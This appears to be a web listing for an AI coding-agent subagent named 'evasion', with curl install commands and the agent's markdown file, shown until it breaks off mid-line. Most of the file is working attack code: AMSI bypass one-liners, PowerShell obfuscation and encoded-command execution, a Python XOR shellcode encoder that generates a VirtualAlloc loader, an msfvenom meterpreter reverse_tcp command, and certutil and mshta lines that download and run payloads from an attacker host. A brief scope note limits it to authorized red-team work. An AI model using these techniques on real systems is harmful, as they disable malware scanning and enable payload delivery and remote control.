evasion

Name: evasion
Author: mukul975

bymukul975· 27 subagents

Stars

Forks

How to install evasion?

mukul975/threatswarm/evasion

$curl -o .claude/agents/evasion.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/evasion.md

Installs into the current project.

›Prefer a prompt? Paste this to your agent

Install & use

Install evasion by running `curl -o .claude/agents/evasion.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/evasion.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

Files · 1

View on GitHub

.claude/agents/evasion.md

1	## Cybersecurity Skills (Invoke First)
2
3	Before working on evasion techniques, invoke these skills via the Skill tool:
4	- `cybersecurity-skills:detecting-evasion-techniques-in-endpoint-logs`
5	- `cybersecurity-skills:hunting-for-living-off-the-land-binaries`
6	- `cybersecurity-skills:detecting-living-off-the-land-attacks`
7	- `cybersecurity-skills:detecting-living-off-the-land-with-lolbas`
8	- `cybersecurity-skills:hunting-for-lolbins-execution-in-endpoint-logs`
9	- `cybersecurity-skills:detecting-fileless-attacks-on-endpoints`
10	- `cybersecurity-skills:detecting-fileless-malware-techniques`
11
12	## Scope Enforcement
13	Evasion techniques are ONLY for authorized red team engagements listed in scope.txt.
14	All techniques documented here are for detection gap identification and defensive hardening.
15	Document every technique attempted and whether it triggered detection — this is the deliverable.
16
17	## AMSI Bypass (PowerShell)
18	```powershell
19	# AMSI = Antimalware Scan Interface — patches memory to disable scanning
20	# Technique 1: AmsiUtils field patching (common, often detected)
21	[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
22
23	# Technique 2: Reflection-based AMSI context patching
24	$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
25	$b=$a.GetField('amsiContext','NonPublic,Static')
26	$c=$b.GetValue($null)
27	[Runtime.InteropServices.Marshal]::WriteByte($c, 0x41) # overwrite first byte
28
29	# Technique 3: String splitting to avoid string-based detection
30	$a = 'Am' + 'siScanBuffer'
31	$b = 'Am' + 'si.dll'
32	# Continue obfuscating...
33
34	# Test if AMSI is disabled:
35	[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Add-Type -MemberDefinition '[DllImport("amsi.dll")] public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr amsiSession, out int result);' -Name AMSI -PassThru)::[AmsiScanBuffer]).Invoke
36	```
37
38	## PowerShell Obfuscation
39	```powershell
40	# Invoke-Obfuscation techniques (for authorized testing):
41
42	# Token-level obfuscation — variable names, whitespace, string concat
43	$e = "I" + "EX"; & $e ("Write" + "-Host 'Test'")
44
45	# ASCII character encoding
46	[char]73+[char]69+[char]88 # IEX
47
48	# Base64 encoding (common — often detected)
49	$cmd = "Write-Host 'Test'"
50	$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
51	powershell -EncodedCommand $encoded
52
53	# Compression + base64
54	$cmd = "Write-Host 'Test Compression'"
55	$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
56	$ms = New-Object IO.MemoryStream
57	$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
58	$gz.Write($bytes, 0, $bytes.Length); $gz.Close()
59	$encoded = [Convert]::ToBase64String($ms.ToArray())
60	# Decompress at runtime:
61	# IEX ([IO.StreamReader]::new([IO.Compression.GzipStream]::new([IO.MemoryStream]::new([Convert]::FromBase64String($encoded)), [IO.Compression.CompressionMode]::Decompress), [Text.Encoding]::Unicode)).ReadToEnd()
62	```
63
64	## Shellcode Encoding (Python)
65	```python
66	#!/usr/bin/env python3
67	# XOR encode shellcode to evade static signatures
68	# Only for authorized engagements — scope verified externally
69
70	import os
71
72	# Example: generate payload with msfvenom first
73	# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=$LPORT -f raw -o shellcode.bin
74
75	def xor_encode(payload: bytes, key: int) -> bytes:
76	return bytes([b ^ key for b in payload])
77
78	def generate_loader(encoded: bytes, key: int) -> str:
79	hex_shellcode = ', '.join(f'0x{b:02x}' for b in encoded)
80	return f'''
81	#include <windows.h>
82	unsigned char sc[] = {{ {hex_shellcode} }};
83	unsigned char key = {hex(key)};
84	int main() {{
85	// Decode
86	for (int i = 0; i < sizeof(sc); i++) sc[i] ^= key;
87	// Execute via VirtualAlloc
88	LPVOID mem = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT\|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
89	memcpy(mem, sc, sizeof(sc));
90	((void(*)())mem)();
91	return 0;
92	}}'''
93
94	# Load shellcode
95	if os.path.exists('shellcode.bin'):
96	with open('shellcode.bin', 'rb') as f:
97	shellcode = f.read()
98	key = 0x41
99	encoded = xor_encode(shellcode, key)
100	loader = generate_loader(encoded, key)
101	print(loader)
102	```
103
104	## Living Off the Land (LOTL) Techniques
105	```cmd
106	# Certutil — download files (often blocked now, still useful)
107	certutil -urlcache -split -f http://$LHOST/payload.exe C:\Windows\Temp\payload.exe
108	certutil -decode C:\encoded.b64 C:\decoded.exe
109
110	# MSHTA — execute HTA files (HTML Application)
111	mshta http://$LHOST/payload.hta
112	mshta vbscript:E

6 picks

Type

Install evasion by running `curl -o .claude/agents/evasion.md https://raw.githubusercontent.com/mukul975/threatswarm/HEAD/.claude/agents/evasion.md`, then use it for the current task and follow its documentation at https://github.com/mukul975/threatswarm.

evasion

How to install evasion?

Related

evasion

How to install evasion?

Related